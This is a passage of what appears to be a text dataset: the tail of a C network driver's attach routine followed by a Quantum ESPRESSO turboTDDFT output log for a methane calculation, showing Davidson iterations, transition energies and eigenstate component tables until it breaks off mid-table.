(ifp->if_snd.ifq_maxlen == 0)\n\t\tifp->if_snd.ifq_maxlen = ifqmaxlen;\n\n\t/*\n\t * init some variables\n\t */\n\toverrun = 0;\n\tresend = 0;\n\n \t/*\n\t * Attach the interface\n\t */\n\tif_attach (ifp);\n\tether_ifattach (ifp);\n\treturn 1;\n};\n"} +{"text": "\n Program turboTDDFT v.6.3 starts on 6Sep2018 at 11:35:56 \n\n This program is part of the open-source Quantum ESPRESSO suite\n for quantum simulation of materials; please cite\n \"P. Giannozzi et al., J. Phys.:Condens. Matter 21 395502 (2009);\n \"P. Giannozzi et al., J. Phys.:Condens. Matter 29 465901 (2017);\n URL http://www.quantum-espresso.org\", \n in publications or presentations arising from this work. More details at\n http://www.quantum-espresso.org/quote\n\n Parallel version (MPI), running on 8 processors\n\n MPI processes distributed on 1 nodes\n R & G space division: proc/nbgrp/npool/nimage = 8\n\n Reading data from directory:\n /scratch/timrov/WORK_Hubbard/Z_git/work2_QE_fork/q-e/tempdir/CH4.save/\n\n IMPORTANT: XC functional enforced from input :\n Exchange-correlation = PZ ( 1 1 0 0 0 0)\n Any further DFT definition will be discarded\n Please, verify this is what you really want\n\n file H.pz-vbc.UPF: wavefunction(s) 1S renormalized\n \n Parallelization info\n --------------------\n sticks: dense smooth PW G-vecs: dense smooth PW\n Min 396 396 98 16878 16878 2106\n Max 400 400 100 16882 16882 2112\n Sum 3181 3181 793 135043 135043 16879\n \n\n Subspace diagonalization in iterative solution of the eigenvalue problem:\n a serial algorithm will be used\n\n Allocating 16 extra bands for projection\n\n =-----------------------------------------------------------------=\n\n Please cite the TDDFPT project as:\n X. Ge, S. J. Binnie, D. Rocca, R. Gebauer, and S. Baroni,\n Comput. Phys. Commun. 185, 2080 (2014)\n in publications and presentations arising from this work.\n\n =-----------------------------------------------------------------=\n\n Virt read\n\n Gamma point algorithm\n Num of eigen values= 10\n Allocating parameters for davidson ...\n\n Estimating the RAM requirements:\n For the basis sets: 123.75 M\n For the eigenvectors: 20.62 M\n Num_eign = 10 Num_basis_max = 80\n Reference = 0.50 Ry\n Do make sure that you have enough RAM.\n\n poor_of_ram2 is set to .false.. This means that you would like to increase the speed \n by storing the D_basis and C_basis vectors which will cause three time of the memory cost.\n Switch it to .true. if you need to save memory.\n\n Finished allocating parameters.\n Initiating variables for davidson ...\n Lowest energy electron-hole pairs are used as initial vectors ...\n Calculating the electron-hole pairs for initiating trial vectors ...\n\n 1 4 1 0.638993867895\n 2 3 1 0.638994040501\n 3 2 1 0.638994188019\n 4 4 2 0.733877252088\n 5 3 2 0.733877424694\n 6 2 2 0.733877572212\n 7 4 3 0.748281074316\n 8 4 4 0.748281228632\n 9 3 3 0.748281246922\n 10 4 5 0.748281281257\n 11 2 3 0.748281394440\n 12 3 4 0.748281401239\n 13 3 5 0.748281453863\n 14 2 4 0.748281548756\n 15 2 5 0.748281601381\n 16 4 6 0.759398545352\n 17 4 7 0.759398668901\n 18 3 6 0.759398717959\n 19 3 7 0.759398841508\n 20 2 6 0.759398865476\n 21 2 7 0.759398989025\n 22 4 8 0.812714159427\n 23 4 9 0.812714202749\n 24 3 8 0.812714332034\n 25 3 9 0.812714375356\n 26 4 10 0.812714433423\n 27 2 8 0.812714479551\n 28 2 9 0.812714522873\n 29 3 10 0.812714606029\n 30 2 10 0.812714753546\n 31 4 11 0.843235511882\n 32 3 11 0.843235684488\n 33 2 11 0.843235832006\n 34 4 12 0.843236516326\n 35 3 12 0.843236688932\n 36 4 13 0.843236770029\n 37 2 12 0.843236836450\n 38 3 13 0.843236942635\n 39 2 13 0.843237090153\n 40 4 14 0.851929258625\n Finished calculating the cv couples.\n Finished initiating.\n\n Precondition is used in the algorithm,\n\n total cpu time spent up to now is 0.2 secs\n\n ==============================\n\n Davidson iteration: 1\n num of basis: 20 total built basis: 20\n 20 Transition energy 1 : 0.6430774531\n 20 Transition energy 2 : 0.6430779249\n 20 Transition energy 3 : 0.6430818638\n 20 Transition energy 4 : 0.7399015408\n 20 Transition energy 5 : 0.7399018758\n 20 Transition energy 6 : 0.7399022776\n 20 Transition energy 7 : 0.7461986463\n 20 Transition energy 8 : 0.7461989509\n 20 Transition energy 9 : 0.7462005438\n 20 Transition energy 10 : 0.7464248356\n Residue(Squared modulus): 1 0.0101660 0.0000000\n Residue(Squared modulus): 2 0.0101666 0.0000000\n Residue(Squared modulus): 3 0.0101744 0.0000000\n Residue(Squared modulus): 4 0.0115141 0.0000000\n Residue(Squared modulus): 5 0.0115136 0.0000000\n Residue(Squared modulus): 6 0.0115154 0.0000000\n Residue(Squared modulus): 7 0.0064509 0.0000000\n Residue(Squared modulus): 8 0.0064525 0.0000001\n Residue(Squared modulus): 9 0.0064533 0.0000000\n Residue(Squared modulus): 10 0.0016604 0.0000000\n Largest residue: 0.011515398761\n\n total cpu time spent up to now is 0.3 secs\n\n ==============================\n\n Davidson iteration: 2\n num of basis: 30 total built basis: 30\n 30 Transition energy 1 : 0.6413482627\n 30 Transition energy 2 : 0.6413486011\n 30 Transition energy 3 : 0.6413506435\n 30 Transition energy 4 : 0.7378005442\n 30 Transition energy 5 : 0.7378011085\n 30 Transition energy 6 : 0.7378030897\n 30 Transition energy 7 : 0.7452989785\n 30 Transition energy 8 : 0.7452993940\n 30 Transition energy 9 : 0.7453010653\n 30 Transition energy 10 : 0.7460526292\n Residue(Squared modulus): 1 0.0008555 0.0005539\n Residue(Squared modulus): 2 0.0008557 0.0005540\n Residue(Squared modulus): 3 0.0008604 0.0005513\n Residue(Squared modulus): 4 0.0010748 0.0010134\n Residue(Squared modulus): 5 0.0010750 0.0010136\n Residue(Squared modulus): 6 0.0010744 0.0010099\n Residue(Squared modulus): 7 0.0001751 0.0003328\n Residue(Squared modulus): 8 0.0001751 0.0003344\n Residue(Squared modulus): 9 0.0001756 0.0003346\n Residue(Squared modulus): 10 0.0000976 0.0003193\n Largest residue: 0.001074977770\n\n total cpu time spent up to now is 0.5 secs\n\n ==============================\n\n Davidson iteration: 3\n num of basis: 49 total built basis: 49\n 49 Transition energy 1 : 0.6411959756\n 49 Transition energy 2 : 0.6411962785\n 49 Transition energy 3 : 0.6411968477\n 49 Transition energy 4 : 0.7375427730\n 49 Transition energy 5 : 0.7375430738\n 49 Transition energy 6 : 0.7375483606\n 49 Transition energy 7 : 0.7452255977\n 49 Transition energy 8 : 0.7452257247\n 49 Transition energy 9 : 0.7452287449\n 49 Transition energy 10 : 0.7459827184\n Residue(Squared modulus): 1 0.0000748 0.0001263\n Residue(Squared modulus): 2 0.0000748 0.0001263\n Residue(Squared modulus): 3 0.0000748 0.0001265\n Residue(Squared modulus): 4 0.0001001 0.0002001\n Residue(Squared modulus): 5 0.0001000 0.0002001\n Residue(Squared modulus): 6 0.0001029 0.0001942\n Residue(Squared modulus): 7 0.0000592 0.0000415\n Residue(Squared modulus): 8 0.0000588 0.0000415\n Residue(Squared modulus): 9 0.0000592 0.0000417\n Residue(Squared modulus): 10 0.0001164 0.0000133\n Largest residue: 0.000200116254\n\n total cpu time spent up to now is 0.8 secs\n\n ==============================\n\n Davidson iteration: 4\n num of basis: 59 total built basis: 59\n 59 Transition energy 1 : 0.6411782081\n 59 Transition energy 2 : 0.6411785277\n 59 Transition energy 3 : 0.6411791431\n 59 Transition energy 4 : 0.7375068451\n 59 Transition energy 5 : 0.7375071610\n 59 Transition energy 6 : 0.7375116184\n 59 Transition energy 7 : 0.7452225349\n 59 Transition energy 8 : 0.7452226811\n 59 Transition energy 9 : 0.7452256498\n 59 Transition energy 10 : 0.7459396614\n Residue(Squared modulus): 1 0.0000226 0.0000146\n Residue(Squared modulus): 2 0.0000227 0.0000147\n Residue(Squared modulus): 3 0.0000264 0.0000164\n Residue(Squared modulus): 4 0.0000286 0.0000287\n Residue(Squared modulus): 5 0.0000288 0.0000287\n Residue(Squared modulus): 6 0.0000405 0.0000305\n Residue(Squared modulus): 7 0.0000439 0.0000334\n Residue(Squared modulus): 8 0.0000437 0.0000334\n Residue(Squared modulus): 9 0.0000462 0.0000354\n Residue(Squared modulus): 10 0.0000312 0.0000586\n Largest residue: 0.000058636590\n\n ================================================================\n\n Davidson diagonalization has finished in 4 steps.\n the number of current basis is 59\n the number of total basis built is 59\n\n Now print out information of eigenstates\n\n\n K-S Oscillator strengths\n occ con R-x R-y R-z\n 1 1 -0.48854490E-06 0.96567601E-06 0.19651426E-06\n 1 2 -0.24190073E-05 -0.12756173E-05 0.20135933E-05\n 1 3 -0.39356320E-01 -0.35986313E-01 0.21092890E-01\n 1 4 0.11850326E-01 -0.37449246E-01 -0.41782536E-01\n 1 5 0.39987844E-01 -0.24315380E-01 0.33133338E-01\n 1 6 0.56300017E-05 0.24843378E-05 0.28750025E-05\n 1 7 0.52994116E-05 -0.33232482E-06 -0.40483004E-06\n 1 8 -0.17597725E-01 0.46444733E-01 0.38936740E-01\n 1 9 -0.37640802E-01 0.23415917E-01 -0.44911131E-01\n 1 10 0.47518347E-01 0.35742771E-01 -0.21158466E-01\n 1 11 -0.60230541E-01 -0.40258522E-01 0.34821190E-02\n 1 12 -0.40383644E-01 0.59953757E-01 -0.54015984E-02\n 1 13 -0.10586208E-03 0.63978619E-02 0.72252213E-01\n 1 14 0.77260673E-05 0.28669149E-04 0.21373318E-04\n 1 15 -0.21071639E-04 -0.25833329E-04 0.45282127E-04\n 2 1 -0.30868498E+00 0.18819849E+00 0.25276457E+00\n 2 2 -0.24918473E+00 0.15201861E+00 0.20410241E+00\n 2 3 0.15816892E-01 0.50959505E-01 -0.11457291E-01\n 2 4 0.53716207E-01 -0.49204976E-01 -0.42711576E-01\n 2 5 -0.31187765E-03 0.38175513E-03 -0.46522140E-01\n 2 6 -0.16654519E+00 -0.52226707E-01 -0.66278326E-01\n 2 7 -0.29319963E-02 0.87079709E-01 -0.11924953E+00\n 2 8 0.40026468E+00 -0.34565548E+00 -0.37041371E+00\n 2 9 -0.53064217E-01 0.91473667E-01 -0.30033351E+00\n 2 10 0.10604405E+00 0.38918302E+00 -0.43854132E-01\n 2 11 -0.15750736E-02 -0.27946782E-02 0.16667890E-03\n 2 12 0.26937517E-02 -0.10928509E-02 -0.41763715E-02\n 2 13 0.37698736E-02 -0.25600005E-02 -0.17311968E-03\n 2 14 -0.18161558E+00 0.11221061E+00 0.14967441E+00\n 2 15 -0.91551661E-01 0.53279499E-01 -0.14735782E+00\n 3 1 -0.52996379E-01 0.31775989E+00 -0.30133413E+00\n 3 2 -0.42787415E-01 0.25666233E+00 -0.24333475E+00\n 3 3 -0.54330117E-01 -0.33270209E-01 0.32831647E-01\n 3 4 0.61709670E-02 0.42787660E-02 -0.17845008E-01\n 3 5 -0.55301355E-01 0.42728964E-01 -0.43322910E-01\n 3 6 -0.28600708E-01 -0.88195506E-01 0.79011103E-01\n 3 7 -0.47900840E-03 0.14696964E+00 0.14223860E+00\n 3 8 -0.33955672E-01 0.68085100E-01 -0.16903811E+00\n 3 9 -0.44772113E+00 0.28801932E+00 -0.27704549E+00\n 3 10 -0.36712532E+00 -0.27699070E+00 0.27715959E+00\n 3 11 0.21706594E-02 0.29196168E-02 -0.28238463E-02\n 3 12 -0.32469350E-02 0.27102576E-02 -0.26030288E-02\n 3 13 0.37712920E-02 0.93056838E-03 0.23812219E-04\n 3 14 -0.31201188E-01 0.18964267E+00 -0.17851316E+00\n 3 15 -0.15548948E-01 0.90897432E-01 0.17557305E+00\n 4 1 -0.31065629E+00 -0.24120645E+00 -0.19975435E+00\n 4 2 -0.25076904E+00 -0.19480081E+00 -0.16129910E+00\n 4 3 -0.65267994E-02 -0.40311798E-02 -0.63985089E-01\n 4 4 -0.54308881E-01 -0.32876518E-01 -0.27156620E-01\n 4 5 0.97247132E-02 0.56602347E-01 0.64788118E-02\n 4 6 -0.16768054E+00 0.66903595E-01 0.52322142E-01\n 4 7 -0.29379744E-02 -0.11160409E+00 0.94266874E-01\n 4 8 -0.39185412E+00 -0.18019930E+00 -0.21367984E+00\n 4 9 0.12940492E+00 0.45061024E+00 0.37784247E-01\n 4 10 -0.42793498E-01 -0.61221463E-01 -0.47361407E+00\n 4 11 0.10298662E-02 0.19003689E-02 0.44683727E-02\n 4 12 -0.97898665E-03 0.11400925E-02 -0.13042280E-02\n 4 13 -0.15303055E-02 -0.46377030E-02 -0.18222345E-03\n 4 14 -0.18299486E+00 -0.14406383E+00 -0.11841291E+00\n 4 15 -0.92411772E-01 -0.69383532E-01 0.11651083E+00\n\n ! The 1 -th eigen state. The transition energy is: 0.64117821\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00018; Y -0.00018\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99910; Y -0.00003 total 0.99907 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.32258110E-01 0.16512840E-01 0.10299363E-01 0.54459071E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 4 1 0.99708 -0.00170\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.12040516E-06 0.32723896E-07\n 1 2 0.17770434E-06 0.44425894E-07\n 1 3 -0.24379732E-02 -0.91130558E-03\n 1 4 -0.18267536E-02 -0.68337509E-03\n 1 5 0.17449815E-02 0.65238761E-03\n 1 6 -0.72529463E-06 -0.45978451E-06\n 1 7 -0.20189046E-06 -0.16620400E-06\n 1 8 -0.23170591E-02 -0.82542696E-03\n 1 9 0.25108616E-02 0.89351789E-03\n 1 10 -0.35543843E-02 -0.12663541E-02\n 1 11 -0.27514737E-02 -0.11273328E-02\n 1 12 0.11983472E-03 0.49138387E-04\n 1 13 0.14219367E-02 0.58277609E-03\n 1 14 -0.28756197E-06 -0.11024508E-06\n 1 15 -0.21296215E-05 -0.10089607E-05\n 2 1 0.24057205E-01 -0.41003386E-04\n 2 2 -0.10869147E-02 -0.73349682E-04\n 2 3 0.83584750E-04 0.64737062E-05\n 2 4 -0.16963997E-04 -0.14077265E-05\n 2 5 -0.43987324E-04 -0.33578530E-05\n 2 6 0.79172300E-02 0.66824506E-03\n 2 7 0.79013039E-04 0.10148197E-05\n 2 8 -0.11403728E-03 -0.14405128E-04\n 2 9 -0.19725293E-03 -0.30080867E-04\n 2 10 0.49564214E-03 0.75353094E-04\n 2 11 0.86224182E-03 0.44773385E-04\n 2 12 0.29051637E-03 0.16013468E-04\n 2 13 0.11795384E-03 0.76631015E-05\n 2 14 -0.56428236E-03 -0.80181815E-04\n 2 15 0.16923127E-02 0.19203951E-03\n 3 1 -0.40371272E-01 0.68875171E-04\n 3 2 0.18222264E-02 0.12276586E-03\n 3 3 -0.10406840E-03 -0.80043401E-05\n 3 4 -0.18247715E-05 -0.18510505E-06\n 3 5 -0.77866049E-04 -0.59789808E-05\n 3 6 0.17036905E-02 0.14374085E-03\n 3 7 -0.63534722E-02 -0.53615675E-03\n 3 8 -0.96891332E-04 -0.15699304E-04\n 3 9 -0.47608532E-03 -0.75849687E-04\n 3 10 -0.54208432E-03 -0.84760050E-04\n 3 11 -0.69720747E-03 -0.33465983E-04\n 3 12 0.75024432E-03 0.35005639E-04\n 3 13 -0.72368763E-03 -0.38231860E-04\n 3 14 0.89896322E-03 0.13323346E-03\n 3 15 -0.19890720E-02 -0.22954401E-03\n 4 1 0.99708241E+00 -0.17006585E-02\n 4 2 -0.45022418E-01 -0.30349795E-02\n 4 3 -0.77564379E-04 -0.61111311E-05\n 4 4 -0.16150156E-03 -0.12502953E-04\n 4 5 0.99130976E-04 0.75924034E-05\n 4 6 0.27255928E-02 0.22998701E-03\n 4 7 0.11856603E-02 0.99989207E-04\n 4 8 -0.83373861E-03 -0.13087466E-03\n 4 9 0.64504195E-03 0.10259153E-03\n 4 10 -0.45799533E-03 -0.69732889E-04\n 4 11 -0.12432965E-02 -0.63774065E-04\n 4 12 0.31952613E-03 0.17284130E-04\n 4 13 0.14777285E-02 0.77210709E-04\n 4 14 -0.22560312E-01 -0.32999654E-02\n 4 15 0.10080542E-02 0.11041973E-03\n\n **************\n\n\n ! The 2 -th eigen state. The transition energy is: 0.64117853\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00018; Y -0.00018\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99910; Y -0.00003 total 0.99907 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.32258052E-01 0.15711793E-01 0.11844180E-01 0.47020780E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 1 0.96389 -0.00164\n 3 1 0.25910 -0.00044\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 -0.32814892E-06 -0.15389628E-06\n 1 2 -0.29333752E-06 -0.13030667E-06\n 1 3 -0.83946461E-03 -0.31159099E-03\n 1 4 0.28726517E-02 0.10735574E-02\n 1 5 0.18363794E-02 0.68555315E-03\n 1 6 0.13113984E-05 0.11026882E-05\n 1 7 -0.17221198E-06 0.10131160E-06\n 1 8 0.43207037E-02 0.15377666E-02\n 1 9 0.18201779E-02 0.64744985E-03\n 1 10 -0.15280433E-02 -0.54646129E-03\n 1 11 -0.80928592E-03 -0.32997674E-03\n 1 12 -0.26696752E-02 -0.10935060E-02\n 1 13 -0.13500003E-02 -0.55292993E-03\n 1 14 0.47859207E-06 0.14857992E-06\n 1 15 0.36435488E-05 0.18407277E-05\n 2 1 0.96389158E+00 -0.16440734E-02\n 2 2 -0.43524067E-01 -0.29340002E-02\n 2 3 -0.33974855E-04 -0.27945807E-05\n 2 4 0.19826703E-03 0.15238643E-04\n 2 5 0.39787152E-04 0.29892285E-05\n 2 6 0.26689905E-02 0.22530828E-03\n 2 7 0.37738082E-03 0.14771975E-04\n 2 8 0.11156746E-02 0.17602827E-03\n 2 9 0.46665018E-04 0.13330722E-04\n 2 10 -0.25589523E-03 -0.35253114E-04\n 2 11 -0.15115378E-03 -0.13227131E-04\n 2 12 -0.13851984E-02 -0.66380078E-04\n 2 13 -0.14001738E-02 -0.72218596E-04\n 2 14 -0.21807896E-01 -0.31898201E-02\n 2 15 0.70256134E-03 0.82697073E-04\n 3 1 0.25909794E+00 -0.44197431E-03\n 3 2 -0.11699656E-01 -0.78866989E-03\n 3 3 -0.71397345E-04 -0.55654016E-05\n 3 4 0.20069078E-04 0.15305900E-05\n 3 5 -0.11344442E-03 -0.87485088E-05\n 3 6 -0.15072095E-03 -0.12711526E-04\n 3 7 0.64687896E-02 0.54594524E-03\n 3 8 0.94934651E-05 0.28839414E-05\n 3 9 -0.66332074E-03 -0.10282617E-03\n 3 10 -0.35520756E-03 -0.61700010E-04\n 3 11 -0.26134089E-03 -0.46809247E-05\n 3 12 0.84947733E-03 0.46342385E-04\n 3 13 -0.92945628E-03 -0.41719004E-04\n 3 14 -0.58537498E-02 -0.85775206E-03\n 3 15 0.23618710E-02 0.26717918E-03\n 4 1 -0.12765467E-01 0.21805158E-04\n 4 2 0.57553880E-03 0.38699705E-04\n 4 3 0.54418366E-04 0.42328948E-05\n 4 4 -0.19670465E-04 -0.16222407E-05\n 4 5 -0.71078608E-04 -0.54341048E-05\n 4 6 0.79909402E-02 0.67444906E-03\n 4 7 -0.13355334E-02 -0.11254497E-03\n 4 8 -0.14276415E-03 -0.26053639E-04\n 4 9 -0.34455075E-03 -0.50457351E-04\n 4 10 0.34258492E-03 0.55597657E-04\n 4 11 0.66488757E-03 0.34909750E-04\n 4 12 0.54677467E-03 0.27504078E-04\n 4 13 -0.10207480E-03 -0.15224386E-04\n 4 14 0.26506586E-03 0.41105490E-04\n 4 15 0.11858018E-02 0.12437606E-03\n\n **************\n\n\n ! The 3 -th eigen state. The transition energy is: 0.64117914\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00018; Y -0.00018\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99911; Y -0.00003 total 0.99908 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.32241345E-01 0.35642981E-04 0.10106891E-01 0.22098810E-01\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 1 0.25829 -0.00044\n 3 1 -0.96313 0.00164\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.25169833E-06 -0.56132140E-07\n 1 2 -0.11964340E-06 -0.20943687E-06\n 1 3 -0.23922521E-02 -0.90995465E-03\n 1 4 0.86116440E-03 0.32754590E-03\n 1 5 -0.24421695E-02 -0.92881399E-03\n 1 6 -0.23102775E-06 -0.13100875E-06\n 1 7 0.38494658E-06 0.30592225E-06\n 1 8 0.53448898E-03 0.18816634E-03\n 1 9 -0.38463471E-02 -0.13456625E-02\n 1 10 -0.30657840E-02 -0.10725543E-02\n 1 11 -0.11734247E-02 -0.48494517E-03\n 1 12 0.15709892E-02 0.64893646E-03\n 1 13 -0.24076166E-02 -0.99475304E-03\n 1 14 0.74429567E-06 0.15120329E-06\n 1 15 0.33701796E-05 0.12721431E-05\n 2 1 0.25829463E+00 -0.44068057E-03\n 2 2 -0.11665091E-01 -0.78633395E-03\n 2 3 0.87189846E-04 0.66813052E-05\n 2 4 0.21583571E-04 0.16519876E-05\n 2 5 0.87018534E-04 0.66823588E-05\n 2 6 -0.90271023E-03 -0.76191354E-04\n 2 7 -0.61456839E-02 -0.11911295E-03\n 2 8 0.19775821E-03 0.12308189E-04\n 2 9 0.44231259E-03 0.13062911E-04\n 2 10 0.38258020E-03 0.95415955E-05\n 2 11 0.59466799E-03 0.69100889E-04\n 2 12 -0.99314993E-03 -0.11044128E-03\n 2 13 0.58744136E-03 0.70952891E-04\n 2 14 -0.58633122E-02 -0.86005710E-03\n 2 15 -0.23749710E-02 -0.41781766E-03\n 3 1 -0.96313221E+00 0.16433488E-02\n 3 2 0.43498009E-01 0.29321528E-02\n 3 3 -0.11266094E-03 -0.84893879E-05\n 3 4 0.43561617E-04 0.34494190E-05\n 3 5 0.13392787E-03 0.10333326E-04\n 3 6 0.52106491E-02 0.43981953E-03\n 3 7 0.15947360E-02 0.13477498E-03\n 3 8 0.18509644E-03 -0.83606238E-05\n 3 9 0.49594216E-03 -0.17377817E-05\n 3 10 -0.52890205E-03 -0.65617218E-05\n 3 11 -0.14324289E-02 -0.16790085E-03\n 3 12 -0.11624003E-02 -0.13906126E-03\n 3 13 0.42038390E-04 0.57045355E-05\n 3 14 0.21844552E-01 0.32082772E-02\n 3 15 0.17096426E-02 0.25646665E-03\n 4 1 -0.45228819E-01 0.77161853E-04\n 4 2 0.20432258E-02 0.13777964E-03\n 4 3 0.11824451E-03 0.91226520E-05\n 4 4 0.53571574E-05 0.43555686E-06\n 4 5 0.62027007E-04 0.47690711E-05\n 4 6 0.51459209E-03 0.43494544E-04\n 4 7 0.63318941E-02 0.53438920E-03\n 4 8 0.83853715E-04 -0.56277417E-06\n 4 9 0.28806991E-03 -0.11466423E-05\n 4 10 0.47130712E-03 0.45520401E-05\n 4 11 0.93450434E-03 0.10826960E-03\n 4 12 -0.72907557E-03 -0.87693395E-04\n 4 13 0.69026202E-03 0.82035061E-04\n 4 14 0.10358778E-02 0.15227631E-03\n 4 15 0.24803413E-02 0.37539422E-03\n\n **************\n\n\n ! The 4 -th eigen state. The transition energy is: 0.73750685\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00016; Y -0.00016\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99869; Y -0.00003 total 0.99866 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.19541485E-01 0.11340857E-01 0.54804184E-02 0.27202098E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 4 2 -0.98823 0.00244\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.97333080E-08 0.70637007E-08\n 1 2 -0.10076407E-06 -0.10196992E-07\n 1 3 0.35393947E-02 0.10617399E-02\n 1 4 0.22722803E-02 0.68133597E-03\n 1 5 -0.25727789E-02 -0.77226828E-03\n 1 6 0.97132225E-06 0.41687872E-06\n 1 7 0.32862342E-06 0.16881133E-06\n 1 8 0.28069789E-02 0.80796273E-03\n 1 9 -0.36031859E-02 -0.10363473E-02\n 1 10 0.51544680E-02 0.14836653E-02\n 1 11 0.34723408E-02 0.11878232E-02\n 1 12 0.49173701E-04 0.17418473E-04\n 1 13 -0.15983266E-02 -0.54671234E-03\n 1 14 0.54117930E-06 0.17184032E-06\n 1 15 0.23778197E-05 0.87440199E-06\n 2 1 -0.39700887E-02 0.28409596E-03\n 2 2 -0.92739004E-01 0.22879335E-03\n 2 3 -0.27841806E-01 -0.20193197E-03\n 2 4 0.88646114E-03 0.65345727E-05\n 2 5 0.13901713E-01 0.10076362E-03\n 2 6 -0.14737277E-01 -0.21550311E-03\n 2 7 0.10192903E-04 0.15326325E-05\n 2 8 0.43873620E-03 0.20751316E-04\n 2 9 0.28923892E-02 0.15509115E-03\n 2 10 -0.75036581E-02 -0.40047879E-03\n 2 11 -0.14418579E-02 -0.34019369E-04\n 2 12 -0.32407896E-03 -0.88478176E-05\n 2 13 -0.65855810E-04 -0.51133305E-05\n 2 14 0.37588174E-02 0.27817145E-03\n 2 15 -0.17595909E-02 -0.87029343E-04\n 3 1 0.14912259E-02 -0.10674637E-03\n 3 2 0.34847526E-01 -0.85853970E-04\n 3 3 0.37411665E-01 0.27128773E-03\n 3 4 -0.22167198E-03 -0.15637728E-05\n 3 5 0.28528636E-01 0.20685426E-03\n 3 6 -0.32077429E-02 -0.46842198E-04\n 3 7 0.10729594E-01 0.15677581E-03\n 3 8 0.14634359E-02 0.79987805E-04\n 3 9 0.81116117E-02 0.43808866E-03\n 3 10 0.89652316E-02 0.48102021E-03\n 3 11 0.12368947E-02 0.26612079E-04\n 3 12 -0.13439872E-02 -0.26480106E-04\n 3 13 0.13035732E-02 0.30449186E-04\n 3 14 -0.13855381E-02 -0.10579957E-03\n 3 15 0.18602634E-02 0.97443326E-04\n 4 1 -0.42305376E-01 0.30275302E-02\n 4 2 -0.98822850E+00 0.24372884E-02\n 4 3 0.24786086E-01 0.17975928E-03\n 4 4 0.55165589E-01 0.40003159E-03\n 4 5 -0.31835400E-01 -0.23083610E-03\n 4 6 -0.59792368E-02 -0.87283393E-04\n 4 7 -0.21412130E-02 -0.31126016E-04\n 4 8 0.13143468E-01 0.70773608E-03\n 4 9 -0.97332535E-02 -0.52566633E-03\n 4 10 0.67014550E-02 0.35906577E-03\n 4 11 0.20007726E-02 0.45182008E-04\n 4 12 -0.57913626E-03 -0.13825274E-04\n 4 13 -0.24944637E-02 -0.60074244E-04\n 4 14 0.39797668E-01 0.29739434E-02\n 4 15 -0.11554143E-02 -0.54047399E-04\n\n **************\n\n\n ! The 5 -th eigen state. The transition energy is: 0.73750716\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00016; Y -0.00016\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99869; Y -0.00003 total 0.99866 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.19542264E-01 0.81974048E-02 0.73456176E-02 0.39992418E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 2 0.96735 -0.00239\n 3 2 0.20901 -0.00052\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 -0.46715123E-06 -0.15125487E-06\n 1 2 -0.40762923E-06 -0.13132130E-06\n 1 3 -0.11130900E-02 -0.33263669E-03\n 1 4 0.42640198E-02 0.12782295E-02\n 1 5 0.22211286E-02 0.66365417E-03\n 1 6 0.22909976E-05 0.12060014E-05\n 1 7 0.21502217E-07 0.14533176E-06\n 1 8 0.62749346E-02 0.18041202E-02\n 1 9 0.20082410E-02 0.57855471E-03\n 1 10 -0.20106598E-02 -0.58022067E-03\n 1 11 -0.83595879E-03 -0.28441125E-03\n 1 12 -0.31912139E-02 -0.10903270E-02\n 1 13 -0.19377046E-02 -0.66292631E-03\n 1 14 0.84101198E-06 0.23487390E-06\n 1 15 0.56025454E-05 0.20981423E-05\n 2 1 0.41411195E-01 -0.29635793E-02\n 2 2 0.96734894E+00 -0.23858270E-02\n 2 3 -0.12608840E-01 -0.91541435E-04\n 2 4 0.67409150E-01 0.48888502E-03\n 2 5 0.16497896E-01 0.11953663E-03\n 2 6 0.37726009E-02 0.55171430E-04\n 2 7 0.45085127E-06 0.65088007E-05\n 2 8 0.17708827E-01 0.95237157E-03\n 2 9 0.12614511E-02 0.71643424E-04\n 2 10 -0.41576648E-02 -0.22132327E-03\n 2 11 -0.30893436E-03 -0.11448439E-04\n 2 12 -0.24544608E-02 -0.55049465E-04\n 2 13 -0.23172100E-02 -0.50966943E-04\n 2 14 -0.38950239E-01 -0.29110490E-02\n 2 15 0.47934295E-03 0.17828735E-04\n 3 1 0.89482889E-02 -0.64038846E-03\n 3 2 0.20901452E+00 -0.51552139E-03\n 3 3 -0.23706966E-01 -0.17194986E-03\n 3 4 0.75730152E-02 0.54927720E-04\n 3 5 -0.33928410E-01 -0.24603762E-03\n 3 6 0.15469802E-04 0.23124527E-06\n 3 7 0.12724024E-01 0.18600675E-03\n 3 8 0.36197968E-03 0.18836588E-04\n 3 9 -0.94540251E-02 -0.51248156E-03\n 3 10 -0.53698059E-02 -0.29117962E-03\n 3 11 -0.48337831E-03 -0.68672235E-05\n 3 12 0.12403692E-02 0.27263730E-04\n 3 13 -0.14889539E-02 -0.27300013E-04\n 3 14 -0.84026712E-02 -0.62885119E-03\n 3 15 0.26694331E-02 0.13841269E-03\n 4 1 -0.35707294E-02 0.25555989E-03\n 4 2 -0.83412448E-01 0.20564929E-03\n 4 3 0.21800044E-01 0.15812200E-03\n 4 4 